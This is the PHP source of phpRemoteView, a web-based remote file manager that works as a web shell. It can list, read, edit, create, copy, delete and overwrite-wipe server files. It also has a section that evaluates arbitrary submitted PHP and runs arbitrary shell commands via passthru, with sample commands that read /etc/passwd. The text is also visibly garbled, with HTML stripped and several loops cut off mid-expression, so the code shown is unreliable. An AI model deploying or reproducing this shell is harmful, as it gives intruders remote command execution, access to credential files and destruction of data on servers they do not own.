remview; function display_perms($mode) { /* Determine Type */ if( $mode & 0x1000 ) $type='p'; /* FIFO pipe */ else if( $mode & 0x2000 ) $type='c'; /* Character special */ else if( $mode & 0x4000 ) $type='d'; /* Directory */ else if( $mode & 0x6000 ) $type='b'; /* Block special */ else if( $mode & 0x8000 ) $type='-'; /* Regular */ else if( $mode & 0xA000 ) $type='l'; /* Symbolic Link */ else if( $mode & 0xC000 ) $type='s'; /* Socket */ else $type='u'; /* UNKNOWN */ /* Determine permissions */ $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; /* Adjust for SUID, SGID and sticky bit */ if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s\n", $world['read'], $world['write'], $world['execute']); return $s; } function up($d,$f="") { global $PHP_SELF; echo "
"; if ($f=="") echo "Index of "; else echo "View file "; $path=explode("/",realpath($d)); $ss=""; for ($i=0; $i$comm"; if ($i==0 && $d=="/") break; } if ($f!="") echo "$f"; echo "
REMVIEW TOOLS
"; } function up_link($d,$f) { global $PHP_SELF; echo " [Info] [Plain] [HTML] [Session] [only Plain|HTML] [Image] [Notepad] [DOWNLOAD] [Edit] "; } function exitw() { exit("
Sorry, this programm run in read-only mode.
For full access: write `\$write_access=true;` in this php-file.
"); } switch($c) { // listing case "l": echo $GLOBALS['html']; if (!realpath($d)) die("Error path. Click here for start."); up($d); $di=@dir($d); if (!$di) exit("<<< up directory >>>

". "access denied"); unset($files); unset($dirs); while ($name=$di->read()) { if ($name=="." || $name=="..") continue; if (@is_dir($d.$name)) $files["1 $name"]=$name; else $files["2 $name"]=$name; $ftype[$name]=@filetype($d.$name); $fperms[$name]=@fileperms($d.$name); $fmtime[$name]=@filemtime($d.$name); $fowner[$name]=@fileowner($d.$name); $fgroup[$name]=@filegroup($d.$name); } $di->close(); echo ""; echo ""; echo ""; if (!isset($files) || count($files)==0) exit("
<<< up directory >>>
type name size owner:group perms mtime

empty dir"); //echo "

";
   //print_r($files);
   ksort($files);

   //print_r($files);
   //print_r($ftype);


   if ($d[strlen($d)-1]!="/") $d.="/";
   foreach ($files as $k=>$v) {
      //echo "$v $ftype[$v] 
"; echo ""; $name=$d.$v; switch($ftype[$v]) { case "dir": echo "DIR
".substr($v,0,48).""; echo " "; break; case "file": $vv=strtolower(substr($v,strlen($v)-4,4)); $ft=""; if ($vv==".gif" || $vv==".jpg" || $vv==".png" || $vv==".bmp" || $vv==".ico" || $vv=="jpeg") $ft="&ftype=2&fnot=1"; echo "". "··· ". "···". "".substr($v,0,48).""; echo "".filesize($d.$v).""; break; case "link": echo "—>".substr($v,0,48).""; echo " "; break; default: echo "?$v"; echo " "; break; } $tmp=@posix_getpwuid($fowner[$v]); if (!isset($tmp['name']) || $tmp['name']=="") $tow=$fowner[$v]; else $tow=$tmp['name']; $tmp2=@posix_getgrgid($fgroup[$v]); if (!isset($tmp2['name']) || $tmp2['name']=="") $tgr=$fgroup[$v]; else $tgr=$tmp2['name']; echo "$tow $tgr"; echo "".display_perms($fperms[$v]).""; echo "".date("d/m/y H:i:s",$fmtime[$v]).""; echo ""; flush(); } echo "

phpRemoteView, version 2002-01-19. Free download - php.spb.ru/remview"; break; // view case "v": if (!isset($fnot)) $fnot=0; if (!isset($ftype)) $ftype=0; if ($fnot==0) { echo $GLOBALS['html']; up($d,$f); echo "<<<back to directory >>>"; up_link($d,$f); echo "


"; } if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found"); if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) exit("

access denied"); if ($ftype==0 || $ftype==4) { //$fi=@fopen($d.$f,"rb") or die("

access denied"); $buf=fread($fi,filesize($d.$f)); fclose($fi); } switch ($ftype) { case 0: echo "

".htmlspecialchars($buf); 
      break;

   case 1: 
      readfile($d.$f); 
      break;

   case 2: 
      header("Content-type: image/gif"); 
      readfile($d.$f); 
      break;

   case 3: // download

      // ... sucks headers ...
      //header("Content-disposition: attachment; filename=$f"); 
      //header("Connection: close");
      //header("Content-type: application/remview"); 
      //header("Content-Length: ".filesize($d.$f)); 

      header("Content-type: phpspbru"); 
      readfile($d.$f); 
      break;

   case 4: // session
   
      if (!function_exists("session_decode")) exit("Sorry, function session_decode() and SESSIONS a disabled");
      session_decode($buf);
      echo "
";
      var_dump($HTTP_SESSION_VARS);
      echo "
"; } break; case "i": // information echo $GLOBALS['html']; up($d,$f); echo "<<<back to directory >>>"; up_link($d,$f); if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found"); echo "
";
   echo "".htmlspecialchars($d.$f)."\n\n";
   echo "Size        > ".filesize($d.$f)."
"; echo "Owner/Group > "; $tmp=@posix_getpwuid(fileowner($d.$f)); if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; else echo $tmp['name']." "; $tmp=@posix_getgrgid(filegroup($d.$f)); if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); else echo $tmp['name']; echo "
"; echo "FileType > ".filetype($d.$f)."
"; echo "Perms > ".display_perms(fileperms($d.$f))."
"; echo "Create time > ".date("d/m/Y H:i:s",filectime($d.$f))."
"; echo "Access time > ".date("d/m/Y H:i:s",fileatime($d.$f))."
"; echo "MODIFY time > ".date("d/m/Y H:i:s",filemtime($d.$f))."
"; echo "
"; $fi=@fopen($d.$f,"r"); if ($fi) { $str=fread($fi,$hexdump_lines*$hexdump_rows); echo "HEXDUMP PREVIEW"; $n=0; $a0="00000000
"; $a1=""; $a2=""; for ($i=0; $i"; $a1.="
"; $a2.="
"; } } //if ($a1!="") $a0.=sprintf("%08X",$i)."
"; echo "
$a0". "$a1$a2

"; } if (!$write_access) exitw(); $msg=""; if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (ONLY READ ACCESS)"; else fclose($fi); if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (Can't READ file - access denied)"; else fclose($fi); if ($msg=="") $msg=" (full read/write access)"; echo "FILE SYSTEM COMMANDS$msg

"; echo "
  EDIT  
  FILE  
   
>
Delete this file
   
>
filesize to 0byte
   
>
Set current 'mtime'
   
>
Write '0000..' and delete
   
"; echo "

". "COPY FILE from ". " to ". "". ">
"; echo "
CREATE NEW FILE or override old file (check dir perms!)
Full file name <=confirm

"; break; case "delete": if (!$write_access) exitw(); if (!isset($c2)) exit("err# delete 1"); if (!isset($confirm) || strlen($confirm)<3) exit("Confirm not found (go back and set checkbox)"); echo "<<<back to directory >>>

"; if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f)) exit("Delete cancel - File not found"); if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm)) exit("Do you want delete this script (phpRemoteView) ???



[YES, DELETE ME]       [NO (back)]"); switch ($c2) { case "delete": if (!@unlink($d.$f)) exit("Delete cancel - ACCESS DENIED"); Header("Location: $PHP_SELF?c=l&d=".urlencode($d)); echo "done (go back)!

"; echo "Delete ok"; break; case "touch": if (!@touch($d.$f)) exit("Touch cancel - ACCESS DENIED"); Header("Location: $PHP_SELF?c=i&d=".urlencode($d)."&f=".urlencode($f)); echo "done (go back)!

"; echo "Touch ok (set current time to 'modify time')"; break; case "clean": $fi=@fopen($d.$f,"w+") or exit("Clean (empty file) cancel - ACCESS DENIED"); ftruncate($fi,0); fclose($fi); Header("Location: $PHP_SELF?c=i&d=".urlencode($d)."&f=".urlencode($f)); echo "done (go back)!

"; echo "Clean ok (file now empty)"; break; case "wipe": $size=filesize($d.$f); $fi=@fopen($d.$f,"w+") or exit("Wipe cancel - access denied"); $str=md5("phpspbru".mt_rand(0,999999999).time()); for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte for ($i=0; $idone (go back)!

"; echo "Wipe ok (file deleted)"; break; } Header("Location: $PHP_SELF?c=l&d=".urlencode(dirname($df))); echo "SAVE NEW FILE DONE (go back)!"; break; case "copy": if (!$write_access) exitw(); if (!isset($from) || !@file_exists($from) || !@realpath($from)) exit("err# copy 1, file [$from] not found"); if (!isset($to) || strlen($to)==0) exit("err# copy 2, file [$to] not found"); echo "Copy: ....


"; if (!copy($from,$to)) { echo "
Error!

"; echo "View ".dirname($from)."

"; } else echo "DONE!

"; echo "View ".dirname($from)." (dir 'from')

"; echo "View ".dirname($to)." (dir 'to')

"; break; case "e": // edit if (!$write_access) exitw(); if (!@realpath($d.$f) || !file_exists($d.$f)) exit("file not found"); echo $GLOBALS['html']; up($d,$f); echo "<<<back to directory >>>"; up_link($d,$f); $msg=""; if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (ONLY READ ACCESS (don't edit!))"; else fclose($fi); if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (Can't READ file - access denied (don't edit!))"; else fclose($fi); if ($msg=="") $msg="(full read/write access)"; echo "

EDIT FILE $msg

"; if (!$fi=@fopen($d.$f,"r")) exit("cant' open, access denied"); echo "

<= set confirm, then press 'save'...

"; break; case "e_submit": if (!$write_access) exitw(); if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found"); if (!isset($text)) exit("err# e_submit 1"); if (!isset($confirm)) exit("Set CONFIRM CheckBox!"); if (!$fi=@fopen($d.$f,"w+")) exit("access denied"); fwrite($fi,$text); fclose($fi); Header("Location: $PHP_SELF?c=i&d=".urlencode($d)."&f=".urlencode($f)); echo "SAVE DONE (go back)!"; break; case "newfile_submit": if (!$write_access) exitw(); if (!isset($text) || !isset($df)) exit("err# newfile_submit 1"); if (!isset($confirm)) exit("Set CONFIRM CheckBox!"); if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]"); fwrite($fi,$text); fclose($fi); Header("Location: $PHP_SELF?c=l&d=".urlencode(dirname($df))); echo "SAVE NEW FILE DONE (go back)!"; break; case "t": echo "

Go phpRemoveView filesystem functions | PHP eval / Shell commands

"; if (!$write_access) exitw(); error_reporting(2038); if (!isset($php)) { $php="/* line 1 */\n\n// for example, uncomment nex line:\n//phpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */"; $skipphp=1; /* if (!(isset($pre) && $pre<>'')) $pre='checked'; if (!(isset($nlbr) && $nlbr<>'')) $nlbr=''; if (!(isset($xmp) && $xmp<>'')) $xmp=''; if (!(isset($htmls) && $htmls<>'')) $htmls='checked'; */ $pre='checked'; $nlbr=''; $xmp=''; $htmls='checked'; } echo "Eval PHP code (don't type \"<?\" and \"?>\")
add <pre>
add <xmp>
add htmlspecialchars()
add nl2br()


"; if (!isset($skipphp)) { echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; if ($pre<>'') echo "
";
      if ($xmp<>'') echo "";
      if ($nlbr<>'' || $htmls<>'') {
         ob_start();
      }
      eval($php);                    
      if ($nlbr<>'' || $htmls<>'') {
         $tmp=ob_get_contents();
         ob_end_clean(); 
         if ($htmls<>'') $tmp=htmlspecialchars($tmp);
         if ($nlbr<>'') $tmp=nl2br($tmp);
         echo $tmp;
      }
      if ($xmp<>'') echo "";
      if ($pre<>'') echo "
"; echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; } echo "
"; if (!isset($shell)) { $shell="#example (remove comments '#'): \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a"; $skipshell=1; } echo "

Shell commands



"; if (!isset($skipshell)) { echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; passthru($shell); echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; } echo "
"; break; } ?>